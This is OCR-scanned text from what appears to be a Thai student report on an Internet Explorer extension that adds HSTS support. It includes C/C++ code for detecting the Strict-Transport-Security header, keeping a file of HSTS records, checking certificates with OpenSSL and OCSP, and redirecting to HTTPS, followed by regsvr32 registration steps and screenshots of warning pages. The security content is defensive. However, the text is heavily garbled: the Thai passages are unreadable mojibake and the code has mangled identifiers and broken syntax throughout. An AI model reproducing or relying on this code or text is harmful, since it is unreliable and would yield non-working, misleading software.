curl easy_ setopt(curl, CURLOPT USERAGENT,, 6 'Mozilla
/5.0 Windows NT 6.1; WOW64; rv:40.0)Gecko /
20100101 Firefox /40.1v;
res =curl easy performcurl);

B ShECK IO T EEOTS, ¥

if (res =CURLE_OK) {
fprintf(stderr, "curl easy perform)failed:
%s\n', curl easy strerrorwes);

}
ralways cleanup ¥

4.1.9 M3damsuazasraaeuseverivlsansessy HSTS
A 9 Yo ¢ ] s T g 1 o P o
e ldsueamas uuda wwimsnsnaeueamasaana1n By ledusessy HSTS
A [l 3 ' o 1 . B 1A 1 A e ?&
13014 Taems AUMNTMIN strict-transport-security p¢13o 13l Laziosnneame iy
W Yo o 1 ¥ & w w a dd A A o 12 3 g ] g w oW
Tilasnandesiludadnusiuianvofung Sedosduruwy luauleviududdnus

=

a o o [ o
WU AnS oAU Irajiaruiy
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bool find ignore case(const string & strHaystack, const
string & strNeedle)
{

auto it =std:search
strHaystackbeging, strHaystackendo,
strNeedlebeging, strNeedle.endo,l
(chiar ¢hl, chat ghi2y{
return std:toupper(chl)=std:toupper(ch2);}

return (it =strHaystackendoy);

bool isSupportHSTS(string header) {

it dingV #gnore—caseheader, skricitranspory:
security {

retyigh tiewe

}

v < o @ o = ull 1’7 W ol
dmndn lasiiimaseein HSTS azihmsasiadeuaiv ladaanara Soglulwdn
=] A YA - o 12 & 1 i o Yy A
lﬂUi'lEl‘IfE]LLﬁ'JW‘JE]UbJ “]Nﬂ'l?ﬂﬂﬂ\'ihhﬂl %$ﬂ1ﬂ’]5@'}1iﬂ']@’]§cluﬂ’]ﬁﬁ@\ﬁ“ﬂ (max-age) LAUNWY
~3 ¢ ¥ d 9 s = & A @ [ o 19/
A lsiiuaslu Idandeudunainuaey Fefenanlegiusudueiglunisseeiy uad

s g o o o Yo o o
minliudziinmsswes JuruaogTiaudy lae

e 4.8 TaadmSumianivlaansessy HSTS adlulva

int afiN\ReCordicpnsat\Ghtsr «filegpaths FHar Llopbdn, int
age)

{

FILE *fp;

fp =fopen(file path, 'a";

if (fp =NULL)return F OPEN ERR;

else a a

{

time_t newDate =time(0)+age;
fprintf(fp, "»s,wd\n', domain, newDate);
}

fclose(fp);

P S —— ATTA/ATITIT L
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int delete Recordonst char*file path, char*domain)
{
if (dsExist(file path, domainy {
const int listsize =1024, bufsize =128;
char buflbufsizel={ NULL },
list(listsizelbufsize)j={ NULL };
FILE »fp-fopenifile path, = r;
if (fp =NULL)return F_OPEN ERR;
else {
int 4 =03
while (fgetsbuf, bufsize, fp)=NULL){
if (strstrdbuf, domain)=0) {
sEFrepyl PsLE\buby;
i++;
}

}
fcloseifp);

}
b = Sop gl L-a~R it I\ "wlY;

far gdnt [ remeeay R DAY sToor 104
3£ (liserrrdres’ S0\)
IpripBoromess -l JSCiisg
else break;

}
fclose(fp);

}

elsg
return ERR_NOT_FOUND; srecord is not exist

}
return SUCCEED;

}
int update_ Record(const char *file path, char *domain,

int age)

{
if (delete_Recordifile path, domain)==SUCCEED) {

if (@add_Record(file_path, domain, age)=SUCCEED){
return SUCCEED;

1
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bool isValidconst char *file path, char *domainj{
FILE *fp;

fp =fopemfile path, "y

if (fp =NULL)return false; vfopen error

else |
char buf(l28);

while (fgetsbuf, 128, fp)i=NULL){
if (strstrbuf, domain)'=0){
char *datelndex =strchrbuf, ', "H+1;
int date =atoidatelndex);
if date -time@)> 0){
feloseifp);
BReCHYT) LEUS:

}

}
fclose(fp);

ratiirn Ffalcoca -
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it verify certicornst char =cert path, const char «
erl path, string str url{
if (str urlsubstr(0, 8)='httpsu {
int init result =(init sslcert_path, crl pathy;
if ¢init result =0K){
char c_domain[l024);
sscanf(str urlc strg, *httpssmmr,
c_domain);
BIO set conn hostnamedbio, c domain);
BIO_set conn_portdio, "443w;
if (BIO_do connect(io)<=0) {
freeCTXo0;

return ERR _FAIL TO CONNECT;

i
else {

int-verify result =SSL .get verify result(ssl);
if (stap result =V OCSP CERTSTATUS GOOD) {
freeCTX0;
return VALID CERT;

else if (stap_result =V _OCSP_CERTSTATUS REVOKED
| | stap_result =V_OCSP CERTSTATUS UNKNOWN) {
freeCTXo;

return INVALID CERT;

1
else {

fresOTE0R

if (verify result 1=X509 V_OK){
return INVALID CERT;

}

else if (verify result =X509 V- OK){
retyl My ALTDOETERITY;

}

}

else {

freeCTX(;

return. init result:
}
}

else {
freeCTXo;

vAtirrrn TANIYIAT TR TIDT -
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Stringstr url( com util:ConvertBSTRToString(pvarURL
->bstrvaly;
if wFlags->intVal 1=0) {
if YsZr Orl sDBETri® Vi e
char c domain[l1024j;
sscanf(str_url.c stro, 'httpss~1, c_domain);
if(dsValidhsts list path.c strgp, c domainy {
chae ch dinfl024];
string str_domain(ch dir);
str_url ='httpss+str domain;
BSTR bstr url-=
\ QoM AL 1L Vet S IINIgROBSTRELT purl.cONS T Y
vCancel->boolVal =VARIANT TRUE;
m_ spWebBrowser->Stopo;
VARIANT vElags = 30},
vTargetFrameName ={ 0 },
vPostData ={ 0 },
vHeaders ={ 0 };
m_spWebBrowser->Navigatedbstr url, &vFlags,
&vTargetFrameName, &vPostData, &vHeaders);

}
}
else 1f str urlsubstr0, & ='https/ {

char c_domain(l1024j;
sscanf(str_url.c_strg, 'httpswm[®1, c_domain);
int result=
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if (isExist(hsts list pathc_strg, c_domainy
update Recordthsts list pathc stro,
c_domain, age);

}

else {

add_Recordthsts list pathc stro,

c _domain, age);

}

}
}

else if (result —ERR NOT FOUND CERT)({
MessageBoxthwnd, L'Fail to load root CA listr,

L'Error", MB_ICONERROR | MB_ OK);

}
else {

if (dgiadidhets ITetypath ¢Zsteo; o demainiy
vCancel->boolVal =VARIANT TRUE;
m_spWebBrowser->Stopo;

VARIANT wvFlags ={ 0 },

vlargetFrameName ={ 0 },

vPostData ={ 0 },

vHeaders ={ 0 };

m_spWebBrowser->Navigatedlock page path,
&vFlags, &vTargetFrameName, &vPostData,
&vHeaders);

}
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s Idiannd i vuad vaysal iledesmsfivsdads TWimsatiaTils
1904 92 1818 1Extension.dil (Dynamic linking library) %aﬂw‘lﬂﬁﬂﬁ‘qumﬂ?méu i 14 Taedi
Sunoudail

1) 1 1We Extension.dll # 1811t efigosnisiana

2) (587 Command prompt 1A81fioN Run as administrator

3) 1/fon directory laiHAN IHS1E

4) 19/184 regsvr32 Extension.dll iitevin1s 1daA1 CLSID voa druaduaslu Registry

ﬂmﬁhlﬁﬁwruﬂll'ﬂu Il‘lﬂlfi{IExtension.rgs

‘) I i o & =1 -
uaziiodnansnoumsanns lhdeudidalutde 33U regsvr -u IExtension.dll Ly

r o 4 o

BN Administrator: Command P}ompt

7 — AW —— 0 .
g4 = - == b : % 0

C:\>regsur32 [Extension.dll ITI
IC:n>

Y 1 W gma N o a - ot
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W ey B e d
LDARAITILTD ﬁ”liJ’liﬂW‘i’Jilﬂ'E)‘]j"lmﬂElLﬁaﬂLll‘!é Tools > Manage add-ons

|
. View and manage your Internet Explorer add-ons

Add-on Types ‘ Name _Pu_blﬁgr_‘___ | Status Load time Navigation...
] &9 Toolbars and Extensions | (Not verified) Vendetta CE KMITL [
| IExtensionBHO Class (Not verified) Vendetta... Enabled [

* O search Providers
!‘-;‘ [ Accelerators
| @ Tracking Protection

5" %% Spelling Correction
Show:
[currently loaded add-ons -

' Select an add-on to modify status or view details.

Find more toolbars and extensions...
. Learn more about toolbars and extensions E {
T X

31 4.3 wihmaaasaaduiinans
4.3 HAMIMNUVRIT TN

: = o ' o o 1
anagoulawd viadniu luaf lususes higndes wsuweswshmsnlaouduma

J ﬂ' o ol
uazuasarauiion IWansmua 14 dagl



@7@[3&] Cbleckhtml % PR £ - ¢ || @ cavlocntmt = (] A

Your connection is not private

Attackers might be trying to steal your information from this site (for example,
password, messages or credit card)

See more
31.' 4.4 ¥iv1A4 Internet Explorer uielauilanu
IS cwiockhemt p- GUecwmm: 3

Your connection is not private
Attackers might be trying to steal your information from this site (for example,
password, messages or credit card)

This site normally uses encryption to protect your information. When Internet Explorer
tried to connect to this site this time, the website sent back unusual and incorrect
credentials. Either an attacker is trying to pretend to be owner of this site, or a
Wi-Fi sign-in screen has interrupted the connection.

You cannot wisit this site right now because the website uses HSTS. Network errors and
attacks are usually temporary, so this page will prcbably work later.

See less

31 4.5 %¥1A1 Internet Explorer iiialaillanuaznananisgaziden



46

vy

A a Ay a X = Y g Ao £ E
WDTMIUATUUTDNARA lﬂﬂ"l]ui]’]ﬂullllliﬂlﬂﬁlf'ﬁ CA 8q1u1ﬂﬂﬂ1ﬁuﬂ1’) VEUTAIMHIAN

Tdmouuaatoianain szl

N
(8) Fail to load root CA list.
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